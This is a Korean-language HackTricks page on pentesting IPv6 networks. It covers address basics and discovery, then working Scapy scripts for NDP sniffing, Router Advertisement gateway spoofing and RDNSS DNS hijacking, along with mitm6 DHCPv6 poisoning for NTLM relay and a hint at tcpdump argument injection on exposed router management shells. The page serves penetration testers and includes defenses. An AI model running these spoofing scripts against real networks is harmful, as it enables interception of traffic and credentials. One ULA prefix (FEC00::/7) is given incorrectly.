Pentesting IPv6
Reading time: 13 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IPv6 기본 이론
네트워크
IPv6 주소는 네트워크 조직 및 장치 상호 작용을 향상시키기 위해 구조화되어 있습니다. IPv6 주소는 다음과 같이 나뉩니다:
- 네트워크 접두사: 네트워크 세그먼트를 결정하는 처음 48비트.
- 서브넷 ID: 네트워크 내 특정 서브넷을 정의하는 데 사용되는 다음 16비트.
- 인터페이스 식별자: 서브넷 내에서 장치를 고유하게 식별하는 마지막 64비트.
IPv6는 IPv4에서 발견되는 ARP 프로토콜을 생략하지만, 두 가지 주요 메시지를 가진 ICMPv6를 도입합니다:
- 이웃 요청 (NS): 주소 해결을 위한 멀티캐스트 메시지.
- 이웃 광고 (NA): NS에 대한 유니캐스트 응답 또는 자발적인 발표.
IPv6는 또한 특별한 주소 유형을 포함합니다:
- 루프백 주소 (
::1
): IPv4의127.0.0.1
에 해당하며, 호스트 내에서의 내부 통신을 위해 사용됩니다. - 링크-로컬 주소 (
FE80::/10
): 인터넷 라우팅이 아닌 로컬 네트워크 활동을 위해 사용됩니다. 동일한 로컬 네트워크의 장치들은 이 범위를 사용하여 서로를 발견할 수 있습니다.
네트워크 명령에서의 IPv6 실용 사용
IPv6 네트워크와 상호 작용하기 위해 다양한 명령을 사용할 수 있습니다:
- 링크-로컬 주소 핑:
ping6
를 사용하여 로컬 장치의 존재를 확인합니다. - 이웃 발견:
ip neigh
를 사용하여 링크 계층에서 발견된 장치를 봅니다. - alive6: 동일한 네트워크에서 장치를 발견하기 위한 대체 도구입니다.
아래는 몇 가지 명령 예시입니다:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 주소는 로컬 통신을 위해 장치의 MAC 주소에서 파생될 수 있습니다. 다음은 알려진 MAC 주소에서 Link-local IPv6 주소를 파생하는 방법에 대한 간단한 가이드와 네트워크 내에서 IPv6 주소를 발견하는 방법 및 IPv6 주소 유형에 대한 간략한 개요입니다.
MAC 주소에서 Link-local IPv6 파생하기
주어진 MAC 주소 **12:34:56:78:9a:bc
**를 사용하여 Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다:
- MAC을 IPv6 형식으로 변환:
1234:5678:9abc
fe80::
를 앞에 붙이고 중간에fffe
를 삽입:fe80::1234:56ff:fe78:9abc
- 왼쪽에서 일곱 번째 비트를 반전시켜
1234
를1034
로 변경:fe80::1034:56ff:fe78:9abc
IPv6 주소 유형
- Unique Local Address (ULA): 로컬 통신을 위한 것으로, 공용 인터넷 라우팅을 위한 것이 아닙니다. 접두사:
FEC00::/7
- Multicast Address: 일대다 통신을 위한 것입니다. 멀티캐스트 그룹의 모든 인터페이스에 전달됩니다. 접두사:
FF00::/8
- Anycast Address: 일대가장 가까운 통신을 위한 것입니다. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다.
2000::/3
글로벌 유니캐스트 범위의 일부입니다.
주소 접두사
- fe80::/10: Link-Local 주소 (169.254.x.x와 유사)
- fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x와 같은 사설 IPv4 범위와 유사)
- 2000::/3: 글로벌 유니캐스트
- ff02::1: 모든 노드에 대한 멀티캐스트
- ff02::2: 라우터 노드에 대한 멀티캐스트
네트워크 내에서 IPv6 주소 발견하기
방법 1: Link-local 주소 사용
- 네트워크 내 장치의 MAC 주소를 얻습니다.
- MAC 주소에서 Link-local IPv6 주소를 파생합니다.
방법 2: 멀티캐스트 사용
- 로컬 네트워크에서 IPv6 주소를 발견하기 위해 멀티캐스트 주소
ff02::1
에 핑을 보냅니다.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
IPv6 네트워크에서 MitM 공격을 실행하기 위한 여러 기술이 존재합니다. 예를 들어:
- ICMPv6 이웃 또는 라우터 광고 스푸핑.
- ICMPv6 리디렉션 또는 "패킷이 너무 큽니다" 메시지를 사용하여 라우팅 조작.
- 모바일 IPv6 공격 (일반적으로 IPSec 비활성화 필요).
- 악성 DHCPv6 서버 설정.
Identifying IPv6 Addresses in the eild
Exploring Subdomains
IPv6 주소와 잠재적으로 연결된 서브 도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, ipv6.*
와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다:
site:ipv6./
DNS 쿼리 활용
IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수 있습니다:
- AXFR: 전체 존 전송을 요청하여 다양한 DNS 레코드를 발견할 수 있습니다.
- AAAA: IPv6 주소를 직접 찾습니다.
- ANY: 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.
Ping6로 프로빙
조직과 관련된 IPv6 주소를 확인한 후, ping6
유틸리티를 사용하여 프로빙할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움을 주며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
IPv6 로컬 네트워크 공격 기술
다음 섹션에서는 같은 /64 세그먼트 내에서 글로벌 접두사를 알지 못한 채 실행할 수 있는 실용적인 레이어-2 IPv6 공격을 다룹니다. 아래에 표시된 모든 패킷은 링크-로컬이며, 로컬 스위치를 통해서만 이동하므로 대부분의 환경에서 매우 은밀합니다.
안정적인 실험실을 위한 시스템 조정
IPv6 트래픽을 다루기 전에, 자신의 테스트로 인해 오염되는 것을 피하고 대량 패킷 주입/스니핑 중 최상의 성능을 얻기 위해 시스템을 강화하는 것이 좋습니다.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
모든 IPv6 호스트가 자동으로 여러 멀티캐스트 그룹에 가입하고 (ff02::1
, ff02::2
, …) SLAAC/NDP를 위해 ICMPv6를 사용하기 때문에, 단일 패킷을 전송하지 않고도 전체 세그먼트를 매핑할 수 있습니다. 다음의 Python/Scapy 원라이너는 가장 흥미로운 L2 메시지를 수신하고 누가 누구인지에 대한 색상 있는 타임스탬프 로그를 출력합니다:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
결과: 몇 초 만에 전체 링크 로컬 토폴로지 (MAC ⇄ IPv6)를 생성하며, 능동 스캔에 의존하는 IPS/IDS 시스템을 트리거하지 않습니다.
라우터 광고 (RA) 스푸핑
IPv6 호스트는 기본 게이트웨이 검색을 위해 ICMPv6 라우터 광고에 의존합니다. 정품 라우터보다 더 자주 위조된 RA를 주입하면, 장치들은 조용히 당신을 게이트웨이로 전환합니다.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
실제로 트래픽을 전달하려면 경주에서 이긴 후:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
라우터 광고 플래그 (M/O) 및 기본 라우터 선호도 (Prf)
플래그 | 의미 | 클라이언트 행동에 미치는 영향 |
---|---|---|
M (관리형 주소 구성) | 1 로 설정되면 호스트는 DHCPv6를 사용하여 IPv6 주소를 얻어야 합니다. | 전체 주소는 DHCPv6에서 나오므로 mitm6 스타일의 중독에 적합합니다. |
O (기타 구성) | 1 로 설정되면 호스트는 DHCPv6를 사용하여 기타 정보(DNS, NTP 등)를 얻어야 합니다. | 주소는 여전히 SLAAC를 통해 제공되지만 DNS는 DHCPv6로 탈취될 수 있습니다. |
M=0 / O=0 | 순수 SLAAC 네트워크. | RA / RDNSS 트릭만 가능하며, 클라이언트는 DHCPv6를 전송하지 않습니다. |
M=1 / O=1 | 혼합 환경. | DHCPv6와 SLAAC가 모두 사용되며, 스푸핑을 위한 표면이 가장 큽니다. |
펜테스트 중에 합법적인 RA를 한 번 검사하고 어떤 벡터가 실행 가능한지 결정할 수 있습니다:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
덤프에서 flags [M,O]
필드를 찾으세요 – 추측할 필요 없습니다.
Prf (라우터 선호도) 필드는 RA 헤더 내에서 다수의 게이트웨이가 존재할 때 당신의 악성 라우터가 얼마나 매력적으로 보이는지를 제어합니다:
Prf 값 | 이진수 | 의미 |
---|---|---|
높음 | 10 | 클라이언트는 이 라우터를 모든 중간/낮은 라우터보다 선호합니다 |
중간 (기본값) | 01 | 거의 모든 합법적인 장치에서 사용됩니다 |
낮음 | 00 | 더 나은 라우터가 존재하지 않을 때만 선택됩니다 |
Scapy로 패킷을 생성할 때 위와 같이 prf
매개변수를 통해 설정할 수 있습니다 (prf=0x1
→ 높음). 높은 Prf, 짧은 간격, 그리고 0이 아닌 수명을 결합하면 당신의 악성 게이트웨이가 놀라울 정도로 안정적입니다.
RDNSS (DNS) 스푸핑을 통한 RA
RFC 8106은 RA 내에 재귀 DNS 서버 (RDNSS) 옵션을 추가하는 것을 허용합니다. 현대 운영 체제(Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved 등)는 이를 자동으로 신뢰합니다:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
클라이언트는 주어진 수명 동안 DNS를 자신의 리졸버 목록에 선행 추가하여 값이 만료되거나 lifetime=0
리버트를 전송할 때까지 전체 DNS 하이재킹을 허용합니다.
DHCPv6 DNS 스푸핑 (mitm6)
SLAAC 대신, Windows 네트워크는 종종 DNS를 위해 무상태 DHCPv6에 의존합니다. mitm6는 Solicit
메시지에 자동으로 응답하여 Advertise → Reply 흐름을 통해 당신의 링크-로컬 주소를 300초 동안 DNS로 할당합니다. 이는 다음을 가능하게 합니다:
- NTLM 릴레이 공격 (WPAD + DNS 하이재킹)
- 라우터를 건드리지 않고 내부 이름 해상도 가로채기
일반적인 사용:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
방어
- 관리형 스위치에서 RA Guard / DHCPv6 Guard / ND Inspection.
- 합법적인 라우터의 MAC만 RAs를 전송할 수 있도록 허용하는 포트 ACL.
- 불안정한 고속 RAs 또는 갑작스러운 RDNSS 변경 모니터링.
- 엔드포인트에서 IPv6를 비활성화하는 것은 현대 서비스에 자주 문제를 일으키고 블라인드 스팟을 숨기는 임시 해결책입니다 – 대신 L2 필터링을 선호하십시오.
게스트/공용 SSID에서의 NDP 라우터 발견 및 관리 서비스 노출
많은 소비자 라우터는 모든 인터페이스에서 관리 데몬(HTTP(S), SSH/Telnet, TR-069 등)을 노출합니다. 일부 배포에서는 "게스트/공용" SSID가 WAN/코어에 브리징되어 있으며 IPv6 전용입니다. 라우터의 IPv6가 매 부팅마다 변경되더라도, NDP/ICMPv6를 사용하여 이를 신뢰성 있게 학습하고 게스트 SSID에서 관리 평면에 직접 연결할 수 있습니다.
게스트/공용 SSID에 연결된 클라이언트의 일반적인 작업 흐름:
- 모든 라우터 멀티캐스트
ff02::2
에 ICMPv6 라우터 요청을 통해 라우터를 발견하고 라우터 광고(RA)를 캡처합니다:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA는 라우터의 링크 로컬 및 종종 글로벌 주소/프리픽스를 드러냅니다. 링크 로컬만 알고 있다면, 연결 시 존 인덱스를 지정해야 한다는 점을 기억하세요. 예: ssh -6 admin@[fe80::1%wlan0]
.
대안: 사용 가능한 경우 ndisc6 스위트를 사용하세요:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- 게스트 SSID에서 IPv6를 통해 노출된 서비스에 접근하기:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- 관리 셸이 래퍼를 통해 패킷 캡처 도구를 제공하는 경우(예: tcpdump), 추가 tcpdump 플래그(
-G/-W/-z
)를 전달할 수 있는 인수/파일 이름 주입을 확인하여 포스트 회전 명령 실행을 달성합니다. 참조:
방어/노트:
- 관리 기능을 게스트/공용 브리지에 바인딩하지 마십시오; SSID 브리지에 IPv6 방화벽을 적용하십시오.
- 가능한 경우 게스트 세그먼트에서 NDP/RS/RA의 속도 제한 및 필터링을 적용하십시오.
- 도달 가능해야 하는 서비스에 대해 인증(N/MFA) 및 강력한 속도 제한을 시행하십시오.
참조
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.